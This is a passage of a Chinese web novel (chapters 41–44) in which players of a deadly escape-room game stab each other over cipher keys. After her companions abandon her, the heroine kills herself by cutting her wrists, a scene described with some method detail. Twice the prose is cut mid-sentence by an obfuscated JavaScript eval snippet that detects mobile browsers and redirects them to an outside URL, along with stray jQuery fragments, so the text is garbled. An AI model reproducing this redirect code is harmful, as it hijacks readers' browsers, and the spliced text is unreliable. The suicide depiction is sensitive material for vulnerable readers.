小程不是傻子,见明明要杀自己,当然是能躲就躲,躲不了便跟明明抗争起来。三人顿时陷入一场乱斗,一番缠斗下来,三人的身上都或多或少受了点伤。其中明明的伤最为严重,毕竟贺玉盈手中拎着的是实打实的利器。 最后的最后,贺玉盈的胳膊上被瓷片划出了一道长长的血痕,而作为回敬,明明的腹部被她彻底洞穿。 明明倒在地上,竟然没有怨恨的表情,而是平静地道了一句:“我输了。” 贺玉盈握住匕首的那只手已经麻木了,她竭力地攥住它。 “……所以下次能不能别烦我了?”贺玉盈说,“戚司命,你取个昵称也不取好一点。” “戚司命?”明明跟着重复了一遍,困惑不已地皱起眉,随即又像是想明白了似的,松开眉头,“你以为我是他?所以才怀疑上我?你——” 贺玉盈:“……” 她的表情有点僵硬:“你不是?” “废话!”明明激动地咳嗽起来,连连吐了好几口血沫,他使劲按住腹部,意图减缓失血的速度,“我跟他有什么像的?你居然把我当成他——” 贺玉盈:“……因为你主动对我献殷勤,太可疑了。” 这局游戏明摆着是单人作战,哪有人一上来就要跟不清楚底细的人结盟的?用的理由也很没有说服力。 她这样说着,明明也意识到自己的疏漏,立刻垂下眼,一言不发了。 血液由他的腹部汩汩流出,明明自认已败,再没做任何止血的措施,用了最后一丝的力气,划破了自己的脖颈,血液喷洒着,他彻底倒了下去。 他倒下之时,嘴角隐约有丝丝的笑容。贺玉盈没想到他能做出这种事,先是一惊,而后看见他的表情,心中又觉得十分诡异。 牢房中寂静了不过片刻,贺玉盈突地被一股大力压倒,重重地摔倒在地。等到回神之时,手中已空空如也。匕首已被人夺去了。 她抬眼看去,竹子端端正正地站在牢房门口,平淡地看着牢房中的一切,不知已经这样看了多久。而压在她的背上,又夺走她匕首的人,当然是阿聪了。 “好了,现在我们几个商量一下密钥的事吧。”竹子说。 这人果然背弃了之前和她的约定,坐山观虎斗。她和明明之间,只有活下来的人才能真正跟他结盟。 贺玉盈挣扎了一下,却被阿聪按得更紧,她被这样死死压着,连呼吸都不顺畅了: “商量归商量,先放开我。” 竹子眯起眼打量她一会儿,对阿聪说:“放开她。” 阿聪依言放开,贺玉盈揉着膝盖和手腕从地上坐起来,看了眼阿聪手中的匕首,忍了又忍,还是没忍住,说:“能把匕首还我吗?” 她花了很大价钱才买回来的。 阿聪看了眼竹子,没动作。 贺玉盈不抱希望地看向竹子,果然看见对方摇摇头,说:“这不行,谁知道你会做出什么事?” “匕首在我手上,总比在你们其中的任何一个人手上要安全得多吧?” 听此,竹子思忖着,居然被说服了,“把匕首给我。” 阿聪站在原地,犹豫半晌。 “阿聪。”竹子叫他,“把匕首给我。” 阿聪咬咬牙,把匕首递给了他。 贺玉盈:“……?” “你说得对,匕首这种武器,还是放在自己手上最安心。”竹子掂了掂匕首,说完,也不管贺玉盈有什么表情,又对墙角一脸懵逼的小程说,“听到【助手】的声音了吗?密钥是什么?” 小程咽了咽口水。自明 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【方寸之间】 【(4,5)(9,3)】 【密门即现】这一句,应该指的是最后一份密钥—看来密钥不是按成为监守的顺序给的。 “那你的呢?”小程问。 贺玉盈的眼神在他和竹子两人之间扫来扫去,沉默良久,道,“【方寸之间】【(4,5)(9,3)】。” 小程低声念了念她说出来的密钥,默默地想了一会儿,最后下定决心般,“……好吧,你们应该没有骗我。那我告诉你们,我的密钥是【魁星所在】【(5,4)】。” 竹子等了会儿,见他没有再开口的意思,蹙起眉,“没了?” “没了。” “只有一对数字?” 小程也纳闷:“只有一对。听见你们的密钥,我也觉得奇怪。” “没有骗我们?” 小程着了急,脸也红了,“没有骗你们!这个时候我骗你们干什么?!” 竹子盯着他看了会儿,心中计较着什么,慢慢走向他,“就相信你说的话吧。” 小程见他走得越来越近,刚刚放下的心又高高悬起,失声叫道:“等等!你干什么!别靠过来!” “我不干什么。”竹子双手一摊,手中沾满明明鲜血的匕首丝毫不能让人信服。 “不——!等等!你不是说了吗,你说不会杀我的!”他的声音戛然而止。 刚刚还平躺在竹子掌心的匕首,在下一瞬就横在了小程的脖颈间,他喷溅着大量的鲜血跪倒在地。 竹子居高临下地看着他,“我也不想杀你,但是我们缺了一份密钥,没办法。” 贺玉盈看着这惊心动魄的一幕,抿直唇线,别过脸去。 很快的,小程就因气管呛到大量血液窒息而死。他瞪大眼睛,死死地注视着牢房里的三人。 杀完人,竹子也很不好受似的,揪着头发,滑坐在地上。 牢房又陷入一阵诡异的气氛中,直到阿聪的话打破了这令人心惊的寂静: “我收到【助手】的信息了。密钥是:【汉白玉内】【(1,7)(3,6)】。” 几乎是他的话说出来的瞬间,贺玉盈的心里就涌现出一股复杂的情绪。 因为她意识到,其实小程是可以不死的。 41. 第41章 白鸟服刑所 “密钥我们都知道了,现在整合一下线索。”竹子说。 “我已经知道答案了。”贺玉盈对他说,“把匕首还给我。” 竹子扶了扶镜腿,满手的血染脏了镜框,出人意料地干脆:“可以。” 反正在场唯一需要杀的人已经死了。 “你别过来。”贺玉盈制止了他试图走过来的动作,刚刚那一幕在她心里留下了极深的印象,“丢在地上。” 竹子笑了一下,随手就扔到了她的脚边,“现在好了?你说吧。想到什么了?” 贺玉盈一边盯着他和阿聪,一边快速地捡起匕首,用袖子擦了擦上面的血迹。 “先出去吧。门就在走廊上。” 三人来到走廊,这里一如往常的白茫茫一片,远处长得看不见尽头。第一天离开的那些人已经尝试过了,这条走廊是走不出去的。 既然走不出去,那么出口就应该在眼前。 竹子和阿聪看着贺玉盈专注地盯着瓷白的地砖看了半晌,又见她不时走动,嘴中还念念有词。终于,她选定了目标,跪坐在地,伸手按了按面前一块瓷砖,又轻轻敲了敲,侧耳去听。随后,她拿出匕首,用刀尖去撬这块瓷砖。 这块瓷砖轻易就被贺玉盈撬开了。 并不如他们所想象的,瓷砖下不是一片漆黑的空洞,而是一个圆圆的红色按钮。 【魁星所在,密门即现】 贺玉盈正要伸手去按时,竹子蓦地出声阻止了他:“等等,你确定要按下去?” 红色一般代表着危险、警告和请勿触碰。 “我们还有其他选择吗?”贺玉盈反问。 竹子哑然。 阿聪也不吭声。 于是贺玉盈转过头,果决地按下了按钮。 按下后的一瞬间,整座监狱轰轰作响,仿佛一瞬间活了起来,之后,整片地面骤然消失。一阵失重的感觉传来,贺玉盈最后的记忆停留在逐渐远去的地面,然后立刻失去了意识。 等她恢复意识,发现自己在一间洁白的房间里。天花板严丝合缝地关着,房间没有窗户,也没有任何家具。 不远处,阿聪也悠悠转醒,一脸茫然地看向贺玉盈。 “醒了?”竹子的声音从贺玉盈身后传来。 她转过头,看见竹子走向一扇门前站定,弯下腰在捣鼓着什么。房间里只有这一扇门。 贺玉盈和阿聪前后脚走到门边。 这时贺玉盈才看到门上挂着一把古铜色的大锁,而竹子正拿着一条铁丝样的东西在锁孔里捅来捅去。 “你在撬锁?” “对。”竹子皱紧眉头,全神贯注。 贺玉盈于是噤声,默默地待在一边等他开门。 等了半晌,竹子的额头已经渗出了豆大的汗水,她忍不住道:“要不然让我来吧。” 竹子诧异地看了她一眼:“好啊。“ 说完,他把手中细长的金属丝塞给贺玉盈,自觉退到一边去了。 贺玉盈伸出手指,仔细地触摸着铜锁的锁孔,又将锁孔内部观察了一番。随后她一边捏着金属丝插进锁眼,一边感受着它的内部结构。她专心致志地完成这项工作,已经察觉不到时间的流逝。直到金属丝传来清晰的开锁感觉,她才道:“好了。” 竹子和阿聪已经坐在一边不知休息了多久。 “这么快。真看不出来你还会开锁。”竹子走过来说。 贺玉盈谦虚:“以前学过一点。” 竹子倒没别的反应。在奇恒之府嘛,多点本领傍身太正常了,倒不如说什么都不会的玩家才是稀有生物。 竹子把门上的铜锁拽了下来,谨慎地推开门。贺玉盈和阿聪跟在他的身后。 “有点不太妙。”他的脚步顿在门口,侧了侧身,让出了一片漆黑,“里面没灯。” 不对。贺玉盈想,这个房间也没灯,但是却很明亮,可见发光的不是灯。 “我们还进去吗?”阿聪说。 自从他杀死小风后,整个人都像个闷葫芦一样一声不吭,这次居然开口说话了。 “先等等。”竹子说,“别进。万一进去了,我们可能就回不来现在这个房间了。” 贺玉盈深以为然地点点头。一般这种密室类的谜题,是不会给玩家留退路的。在准备好之前再进下一间房间才是最安全的。正想着,她的目光忽然扫到门后格外漆黑的一团,指道:“那是什么?” 竹子和阿聪同时看过去。竹子动作更快,瞬间就把东西从门里捞了出来。待放到掌心上一看,正是一截红红的蜡烛,白白的灯芯软软地耷拉着。 “看来,这关是要我们点蜡烛……”竹子说。 阿聪说:“没有火源。” 贺玉盈低下头,手中还捏着软软的金属丝。她刚才撬锁的时候就发现了,这截金属丝的质地不像铁、铜一类,比它们更加软,所以她撬锁的时候废了不少的力。那么它应该是—— “没有火源也能点。”竹子说,“用镁,就是小玉手里那个。” 贺玉盈应声把镁丝交给他。 “给阿聪。阿聪,你来吧。”他把蜡烛递给阿聪。 阿聪懂他的意思,沉默地点点头,拿过蜡烛,又拿走镁丝。 贺玉盈犹豫了很久要不要把匕首给他,但阿聪已经转身从地上捡起铜锁了。 见此,她于是不再开口。 竹子一屁股坐在地上,低头取下鼻梁上的眼镜,用袖口仔细地擦拭。贺玉盈看看阿聪又看看他,也跟着坐了下来。 “我还没问呢。”竹子擦好眼镜,将它端端正正地戴上,说,“你是怎么找到那个按钮的?” “出都出来了。”贺玉盈自然地用他说过的话堵他,“再纠结那个问题有什么意思?” 竹子愣了一下,笑着点点头:“你说得有道理。” 这个话题结束后,两人就不再交谈了。 直到阿聪举着一根燃烧的蜡烛开口招呼:“点燃了。” 竹子和贺玉盈对视一眼,从地上站起来,朝漆黑的房间走去。走过阿聪时,竹子顺手接过蜡烛。贺玉盈注意到阿聪的手指都磨破了。 三人走进房间,身后的大门便自动关闭。走在最后的贺玉盈尝试去开门,不行。门已经彻底关死,他们没有退路了。 竹子贴着房间的墙壁往前走,蜡烛的火光打在漆黑的砖面上,一点光都映不出来。 三人你跟着我我跟着你,一点一点地绕着房间走了一整圈,一面墙大约走二十六步,一共走了一百步左右才回到原位。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064023|129932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “没有门。”竹子说。他微微倾斜着蜡烛,避免蜡油滴落在皮肤上。 蜡烛只有短短一截,这意味着如果他们没有在蜡烛燃尽前走出去,未来将会被困在漆黑一片的房间中。 想到这一点,贺玉盈有点不安。如果陷入黑暗,逃出去的可能性就更低了。 如果一辈子都被困在这里的话…… 等等! “如果我们没出去的话,游戏失败,就直接出髓海了吗?” 竹子顿了顿,答道:“单论这局游戏,只有我们死在这里,才算游戏失败。” “也就是说,即使我们被困在这里,也得等我们被活活困死以后才算游戏失败?” 竹子:“对。” 贺玉盈想,果然。 大部分情况下,死亡是游戏失败的基本判定条件。因为有元核这样的设定来保证玩家的存活率,即使输掉一局游戏,对于余额足够多的玩家来讲,根本算不上什么大事。大概是为了避免这类玩家消极怠工,奇恒之府将死亡的痛苦融入了惩罚之中。 输掉游戏后虽然不一定会死掉,但却会切身感受到死亡的绝望和痛苦,毫无疑问,这对心灵是一种巨大的折磨。 正在说着,烛火忽然微弱地晃动了一下。 竹子连忙侧身,将烛火护得严严实实。 “有风?” “我们去看看。” 三人小心地离开了墙边,慢慢走过去,走了大约十来步。 “我踩到了什么东西。”竹子忽然顿住脚步,低下身,将蜡烛贴近地面。 借光看过之后,竹子说:“拼图。看样子有几百块。” 贺玉盈跪坐在地,利用烛光伸手捡起一块拼图仔细观察:暗色的背景图,角落有一小团白色。 “这间房间就是考这个了。”贺玉盈说,“在蜡烛燃尽前拼好拼图。” “我们一起来。这里有放拼图的凹槽。”竹子把蜡烛递给阿聪,“阿聪,你看好它。” 阿聪接过蜡烛,弯下腰,一手撑住膝盖,一手掌着蜡烛,照亮这小小一片区域。 拼图散落一地,几乎要与黑夜融为一体,在这样的条件下,想拼好拼图简直难上加难。 贺玉盈非常不喜欢在灯光昏暗的环境下做这种劳累眼睛的工作,这会让她感到无比焦躁。但在生死关头之际,她不得不耐下心去做。 她秉承着一贯拼拼图的思路,先挑出了边缘拼图,将它们放进凹槽中。这个工作做完以后,她拼拼图的速度就慢了下来。 显然如果她能够分辨出原图的模样,这个工作就会变得极其简单。可是黄澄澄的烛火和漆黑一片的房间都干扰了她,使她连拼图的颜色都不能很好地把握。 蜡烛越燃越短,寂静中甚至传来了好几次阿聪倒吸冷气的声音。 不用多想也知道是蜡油滴在了他的手背上。蜡烛很快就要燃尽了。 “是《开花的巴旦杏树枝》。”竹子忽然出声。他此时一手拿着一块拼图,一边目不转睛地盯着凹槽,整个人几乎要贴上去。 “是画?”贺玉盈问。 “梵高的。”竹子说,“我知道怎么拼了,但是拼图还少了几块。” 贺玉盈知道他什么意思:“我在周围找找。” 42. 第42章 白鸟服刑所 贺玉盈离开了光源,趴伏在地上四处摸索着拼图,还真让她找到了十来个。等她拿着拼图回来时,惊讶地发现竹子已经把拼图拼了大半。 她走过来,将拼图放在他的手边,顺便观察着拼图的图画。树干和花都拼好了,只差背景还没拼好,而其中约有几十块拼图的背景颜色都是一模一样的。 烛火愈加昏暗,阿聪的腰弯成一个直角,手里的蜡烛只有约一个指节的长度了。因为勉强捏着蜡烛,拇指和食指上积了厚厚的一层蜡油。 “我也来吧。”贺玉盈说。 “纯色的背景交给我。”竹子一边说着,一边又嵌入了好几块拼图,“花和枝干的部分交给你了。” “好。” 视线越来越模糊,贺玉盈费力地拿起一块拼图辨认,突然发现阿聪已经趴在地上,竭尽全力地伸直了胳膊。蜡烛的长度已不足以让他用手指捏住。他摊开手掌,指甲盖大小的蜡烛平放在掌心,就像一个树桩长在泥土里似的。 贺玉盈觉得越来越热,额头和鼻尖都渗出了密密的汗水。 到了最后,两人甚至不能通过烛光拼拼图,而只能凭借手的触感一点一点地将拼图放进凹槽。 贺玉盈最怕出现烛火熄灭,拼图拼好,但房门没开的情况了。这意味着他们连纠正错误的机会都没有。 当最后一块拼图被竹子放进凹槽后,烛火闪烁两下,紧跟着熄灭了。 贺玉盈的糟糕设想没有出现。 房间的一面墙像推拉门一样慢慢拉开,昏黄的灯光从门内透出,为他们指引着方向。 贺玉盈这时才觉得浑身发凉,原来她已经出了一背的汗水。 她活动活动僵硬的手脚,缓慢地从地上爬了起来,跟在竹子和阿聪身后,朝着下一间房间走去。 他们刚刚踏进房间,身后的墙面便迅速合拢了。 比起上一间房间,这间房间可以称得上十分明亮了,一眼就能看清整间房间的布局。 天花板上挂着一盏孤零零的吊灯,墙边铺着一张榻榻米,此外还有一个木质书架,一个双开衣柜,一张低矮的木桌,一个米白色的圆凳,一盏日式落地灯,一盆花草以及一幅字画。 这些不是最让人吃惊的,让三人震惊到以至于停在原地的是一具尸体。 尸体死了许久,已成为一具白骨,亮橙色的囚犯空荡荡地套在白骨上,看起来分外吓人。它上半身躺在榻榻米上,下半身坐在地面上,一只森白尖利的骨手无力地垂落在地,在落地灯的灯光下,显得十分阴冷。 “为什么还是没有门?!”阿聪忍不住怒道。 他的掌心铺着一层厚厚的蜡油,正难受地扒拉着。 “也许是像上一间房间一样,把门藏起来了。”竹子倒显得很淡定,“我们找一下吧。” 阿聪点点头,和竹子一起搜起房间来。 和他们不同的是,贺玉盈并没有立即搜寻房间。她总觉得房间里的摆设有一点诡异。具体诡异在哪里,她一时说不上来,便抬步朝着白骨走去。 不是常有一句话说——“尸体会给予答案”吗? 房间里只有这么一具尸体,它身上藏着的秘密,一定是最关键的。 贺玉盈走到尸体旁,蹲下身,从它的腰部位置开始一点一点地摸。 很猥琐的举动,幸好对方是一具白骨。 可惜的是,贺玉盈没有在它身上找到任何线索。 竹子取下了那副字画,眯着眼睛细细地看,喃喃道:“《竹鹤图》。” 听见声音,贺玉盈抬起头,也看向了那副老旧的字画。从这个角度,她看不见画的具体内容。想起上间房间的拼图,她问: “你很懂画?” “略懂。”竹子收起画,将它重新挂回原位。 他走到双开衣柜前,拉开衣柜,钻了进去。从外面看,里面什么也没有。没一会儿,他就失望地钻了出来,在衣柜的外部敲敲打打。 耳边忽然传来一阵杂乱的声音,贺玉盈看过去,是阿聪将书架上的书本全部扫了下来,正粗暴地翻找着。 贺玉盈收回视线,把目光放到白骨上。不知怎的,她看见这具白骨,心中总有一丝不安。可是她总也想不明白这丝不安出于何处,无奈之下,她只好压下不安,顺着白骨爬到了榻榻米上,期盼能在榻榻米上找到一点线索。 她依然什么也没发现。 一无所获地坐在榻榻米上,贺玉盈撑着下巴打量着房间里的每一件物品,最初那种诡异越发明显。 不。不是诡异,是矛盾。 亮橙色的囚服实在打眼,森白的白骨更是引人注目。贺玉盈的目光不知不觉又放在了白骨上,继而放在那双在落地灯的照耀下显得格外阴冷的骨手上。 …… 她知道矛盾在哪里了。 贺玉盈稍微移了移身体,伸出胳膊,轻而易举地捏住了落地灯的灯线,轻轻拉了一下。 落地灯立刻就灭了。随之而来的,衣柜内部悄然拉开,显现了两扇门。一扇绿门,一扇红门。 怪异之处就在这里——明明房间里就亮着灯,为什么还多余地亮着落地灯? 竹子和阿聪先看了看突然出现的两扇门,又回头看了看贺玉盈,眼神莫名。 “现在是要我们选门进去了?”竹子离衣柜最近,先跨了进去,分别尝试着拉开两扇门,“都没上锁。” 贺玉盈站起身,慢慢地朝衣柜走过去,走着走着,眼神不由得放在了一边的《竹鹤图》上。 一只雪白的鹤弯下颈子,浅浅的水潭中没有照出它的影子。它的身旁,是两节笔直的竹。 这幅图画得栩栩如生。贺玉盈又看了看房间里的摆设,几乎立刻意识到了什么。 她将审视的目光投向竹子。 竹子仿佛一无所觉:“你想到什么了?” 他在问贺玉盈。 贺玉盈在想什么?她在想竹子有没有发现房间的生路。 “我在想,”贺玉盈说,“这一关会不会在考验红绿色盲。” 竹子皱起眉头,不大相信道:“红绿色盲?因为门的颜色吗?” 贺玉盈无比自然地点点头。 竹子明显被她之前的表现所骗,如此荒谬的答案居然没有立刻否定。 他垂下头,沉思着没有说话 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“怎么会这样呢?”竹子的语气充满疑惑,“游戏不可能设置一个纯靠运气的谜题,这也太……” “如果实在没有办法,就只能试一试了。”贺玉盈说,“先派一个人随便挑一扇门进去。” 此话一出,竹子立刻用锐利的目光刺向她,“这么鲁莽?” 贺玉盈耸耸肩,“不然还有什么办法?” “我们都活到这里了,应该更谨慎才是。”竹子的目光缓和下来,淡淡道,“如果要先派一个人进门,那个人该是谁呢?” 贺玉盈:“……不会是我吧?” 竹子微微笑道:“你觉得呢?” “我觉得这个主意不怎么样。”贺玉盈说,“我们还是再慎重考虑一下吧。” “我以为能提出这种方案的你,已经有了正确答案。”竹子笑容不变,“原来是没有吗?” 贺玉盈心跳漏了一拍,唯恐他知道了什么在诈她,面上不动声色道:“知道什么?非要说的话,或许是红色的门。” “红色?为什么?” “也许是因为之前那个按钮的颜色是红色的。”贺玉盈说,“不过这也不一定。” “是吗。那我和阿聪进绿色的门,你进红色的门。”竹子说,“我们一起进,绝对公平。你觉得怎么样?” 他满意地看到小玉的表情僵硬了一瞬。 竹子喜欢聪明人。和聪明人共事,会节约不少的时间和精力。自己一个眼神,对方就了解自己的意思,无需开口,对方就把要用的东西送了过来,舒服得像是世界上多了一个自己。 但是同时他又讨厌聪明人。聪明人心思活络,头脑机敏,永远不甘于做一个工具。他们会欺骗、会背叛、会利用。 一个顺手的工具突然有了自我意识想要反噬主人,主人难免会觉得很心烦吧? 此时,竹子就是这样看待贺玉盈的。 43. 第43章 阿帕忒 “……”贺玉盈沉默地盯着他。 “不说话了?”竹子说,“是因为心虚?让我猜猜……你已经发现了正确的门,但是却瞒着我和阿聪,这说明房间不允许我们三人都活下来,对不对?两扇门,一扇绿,一扇红。乍一看是跟颜色有关,但房间里却没有任何关于颜色的提示,这表明颜色只是一种障眼法——确定生门的方式不是依靠颜色。” 竹子微微低下头,取下眼镜哈了口气,一边擦一边接着说:“说回来,你为什么要把逃出去的方法瞒下来呢?”看见贺玉盈张了张嘴,他提前打断道:“……小玉,否认也是没有用的,我才不会相信你不知道,你的表现,我可都看在眼里。” “房间不会让我们三个人都活着出去,所以我们之间一定会有人留在这里。”他的目光看向那具穿着囚服的白骨,“就像它一样。” “这么一想,就全都清晰了。我是不是可以猜测一下,只有人数成对才能活着出去,如果人数为奇,势必就会有一个人被抛弃在这里。房间的颜色没有任何影响,所以……”竹子慢条斯理道,“只要两个人进入同样颜色的门,就能出去。我说得对吗,小玉?” 贺玉盈想自己的脸色一定非常难看,因为竹子嘴角的笑容越来越夸张。 “看来我猜对了。”竹子说,“多亏了你,小玉,不然我还发现不了。” 不知不觉间,竹子和阿聪已经并立站在一边,而贺玉盈站在他们的对立面,毫无疑问,如果她不想点办法,被抛弃在这里的人就会是她。 “你要丢下我吗?”贺玉盈攥紧了拳头,指甲嵌进肉里,希冀能以此保持理智,“从监狱开始的每一步,可以说如果没有我,你们绝对走不到这里。假如门后还有房间,凭你们两个人,真的能顺利通过吗?” 竹子挑挑眉,看着她垂死挣扎:“你想挑拨我们?” 显然,她想要拉拢一个人站向她那边。他们三人中一定会留下一个人,如果说她不想留下,那就只能是阿聪和他之间的一个了。 但是如果小玉想要拉拢他,那就大错特错了…… “阿聪。”出人意料的是,贺玉盈居然把目光投向房间里最沉默寡言的人,“和我结盟,一定比和竹子结盟划算。他是怎么利用你杀掉小风的,你还记得吧?跟着他,他一定还会继续利用你,欺骗你,为了自保而舍弃你,害死你。但是我不一样,我是怎么解开一个又一个谜题的,你是知道的,即使后面还有房间,我能解开的可能也比他要大得多。如果我想害你,你也完全可以凭借武力压制我——何况我根本不会害人……” “说够了没有?”竹子发出一声冷笑,“花言巧语,竟然想说服阿聪?还说你不会害人?明明是怎么死的,我和阿聪都看得清清楚楚。” 贺玉盈镇定道:“首先那是自保。其次,我在跟阿聪说话。” 她紧张看向阿聪,语气也带了几分焦急,“阿聪,我希望你想清楚。跟我结盟,比跟竹子结盟保险得多。” “……” 许久,阿聪才开口:“如果我跟你结盟,竹子就会死?” 竹子的脸色刷的一下变了:“阿聪,你说什么?!” “对。如果你担心多生变故,我们可以现在就连手制服他。” 竹子口中的脏话欲出又止,半晌扯出一抹僵硬的笑:“哦,我知道为什么你不拉拢我了,你是觉得我跟你连手肯定打不过阿聪吧?说不定还会被他反杀。” “不,纯粹是因为你太阴险了。”被戳中了一半心思的贺玉盈嘴硬道。 “只要两个人进同样颜色的门就可以了?”阿聪问。 贺玉盈点头:“对。” 竹子转身朝着绿色的门走去,几步就到了跟前,手放在门把手上,说:“别管她,阿聪,我们走。” 贺玉盈紧张地看向阿聪。 阿聪深深地看了她一眼,答道:“嗯。” 贺玉盈心里的弦断了。 这两人毫不犹豫地丢下了她,眨眼间就消失在门后。 他们大概已经出髓海了。没有下一个房间了,那些都是她骗他们的,不过现在想想他们应该没有被她骗住,否则就不会这么果断地放弃她。 贺玉盈想到了小程。如果那时她能阻止他被杀掉的话…… 可惜没有如果。 都是她太不谨慎小心,没有预料到监狱之后还有这三关在等着她,居然使那两个最危险的人留了下来。竹子阴险,阿聪强壮,她和他们一队,无异于与虎谋皮。 贺玉盈叹了口气。走到红门前,拧开了把手,走了进去。门内一片漆黑,只走了十几步,面前又出现了一道门,她打开门,发现自己果然回到了房间里。而她正是从绿色的门里出来的。 即使她再走进绿色的门,结果也不过是从红门回到房间里而已。她不打算做这些无意义的事了。 她打算自杀。 理由十分简单。既然这局游戏的判定是依靠玩家的生死,那么只要她一时不死,就会一直被困在这间房间里。人总会感到饥饿和口渴,事实上,她早就饿了。 与其苟活十几天,潦倒而死,还不如现在就自我了断。 贺玉盈走到榻榻米边坐下,拿出匕首,思考着从哪里下手比较好。她不喜欢血液呛住气管那样窒息的感受,也不认为自己的手法能好到足以穿过肋骨刺破心脏,左思右想,她决定从手腕下手。 做决定十分轻松,执行却十分艰难。冰冷刀刃比在跳动的血管上,因为颤抖和害怕,好几次都只是将将划破皮肤,留下几条歪歪斜斜的血痕。 贺玉盈深吸一口气,闭上眼,下了狠手。 …… 不知过了多久,等她被剧痛唤醒时,看见的却是一片刺目的白光。 【玩家4730通关髓海“白鸟服刑所”失败】 【正在判定本局表现……】 【您在本局髓海中表现评分为S级】 贺玉盈:“……” 正想开口吐槽一句,舌尖却传来一阵难以言喻的痛楚,口中满满的血腥味。她想,应该是自己不慎咬伤了舌头。 【正在计算元核奖励……】 【存活失败:-50元核】 【逃出监狱:+50元核】 【逃出无解的密室:+10元核】 【逃出漆黑的密室:+10元核】 【您所获的的奖励为:20元核】 【您目前的账户余额为:423元核】 【解锁隐藏成就‘功败垂成’】 【解锁隐藏成就‘绝望的自杀’】 【检测到您同时解锁两个特殊隐藏成就,获得奖励:一把普通的钥匙】 话音一落,一把毫无特色的钥匙就掉落在了贺玉盈的面前。她捡起这把钥匙,放在手中打量。 虽然名字是“普通的钥匙”,但隐藏成就给的奖励,哪里会有普通的。 更何况…… 贺玉盈皱起眉。 她总觉得这把钥匙很熟悉。 【检测到您拥有‘一把普通的钥匙’,是否愿意开启‘普通的房门’】 一扇门凭空出现在贺玉盈前方三米远。她抬头看去,这一看,便惊在原地。 她的身体不由得簌簌发起抖来,全身冰凉无力。 好半晌,她才抬起步子,走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13166051|129932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到门前,将钥匙插进锁孔。一手拧着钥匙,一手按着把手,贺玉盈深吸一口气,拉开了这扇“普通的门”。 …… 【欢迎玩家4730进入髓海“阿帕忒”】 【在本次髓海中,您需要找出欺骗女神】 【请注意:本次髓海为隐藏髓海,若任务失败,则玩家会永远迷失】 【请珍惜您仅有一次的生命】 …… “盈盈,回来了?” 开门的同时,电视机里的说话声和音乐声就穿入了耳中。客厅的沙发上坐着一对中年夫妻,见到她,男人立马站了起来,笑着招呼。女人虽然既没有说话也没有动,但眼神里充满爱意。 那是她的爸妈。 贺玉盈的四肢有些僵硬。【助手】的声音还回荡在耳边,她一时有些恍惚。 突然,她四下摸了摸,整个人都懵了。 匕首不见了。 爸爸已经走到门口,弯腰给她拿出拖鞋,“傻站着干什么?快进来。” 贺玉盈低下头,是记忆里她那双粉色的棉鞋,上面是派大星的图案。 “爸,现在是几月了?”她接过拖鞋换上,脑中无比凌乱。 “说的什么糊涂话。”妈妈在沙发上,看着门口的两人,说,“前几天就入冬了。” 爸爸笑呵呵地:“是不是在逗你妈呢。” 妈妈哼了一声,拿起遥控器按了一下,电视机立马传出了熟悉的广告声: “我看是那次中暑没好利索。”妈妈说,“怎么光站着不动,这大冷天的,是不是冻傻了。” 贺玉盈更混乱了:“中暑?” 这两字一出,妈妈似乎是觉得自己说错话了,尴尬地清了清嗓子。爸爸则是埋怨地看了她一眼:“哪壶不开提哪壶!” 贺玉盈想问很多问题,可是脑海中一片混乱。 她不知道这究竟是现实还是髓海。她不敢保证自己说错话会导致怎样的后果。 最终,她保持着诡异的沉默。 然而这样的沉默却使夫妻俩产生了误解。 爸爸:“好了好了,我们别想不开心的事了,去房间休息休息吧?” 贺玉盈看了眼慈祥的父亲,又看了眼憋着口气的母亲,茫然地点点头,经过客厅,去自己的房间了。 等听到房门关上的声音后,妈妈才道:“……那个姓陆的小伙子真是个畜生,要把咱们闺女祸害成什么样啊!” “哎呀哎呀,那都是过去的事了。” “什么过去的事!我女儿能受这种窝囊气,指定是你给带的!老贺我问你,盈盈她从小到大经历过这种恶心人的事情没?姓陆的算什么东西,啊?他要不是躲起来,我非得扒他的皮。”说着说着,妈妈的语气染上了哭腔,“我女儿成了好大一个笑话还不算,骗她去荒郊野外,害得她中暑躺了好几天,从醒过来就一副丢了魂儿的样子。你不心疼你女儿,我心疼我女儿!” 父亲的声音畏畏缩缩的:“你心疼女儿,也不见你刚刚给她个笑脸。” “就你会唱红脸。我还没说呢,刚刚一直给我挤眉弄眼的,你什么意思?” “我那不是怕你又提起那小子,惹盈盈伤心嘛。” “就是要多伤心,才能把这道坎给过了,否则一直这么浑浑噩噩的,可怎么办?”妈妈道,“你看见没,盈盈现在呆呆傻傻的,一看就是还没走出来。” “慢慢来嘛。”爸爸道,“你越提,那伤痛就越刻骨铭心嘛。” “你非要跟我抬杠是不是……” 后面的对话模糊不清了,因为贺玉盈已经轻手轻脚地打开房门进去了。 44. 第44章 阿帕忒 房间里有点冷。贺玉盈打开灯,床铺、书桌,窗帘……一切都熟悉得让她感到难以置信。 床上放着手机,贺玉盈按亮屏幕,意外地发现手机里干干净净,一条信息都没有。 她觉得不对劲,划了几下,果然发现手机开启了飞行模式。 关闭飞行模式几秒后,一大堆杂乱的垃圾信息就涌了上来,贺玉盈视若无睹地划掉它们,点开了社交软件的聊天框。 软件的信息接收比较慢,又过了几秒,屏幕上才出现贺玉盈想要看到的消息。一大堆消息被顶了上去,最新一条的内容是—— 【盈盈,你还好吗?】 时间是11月19日23:48。 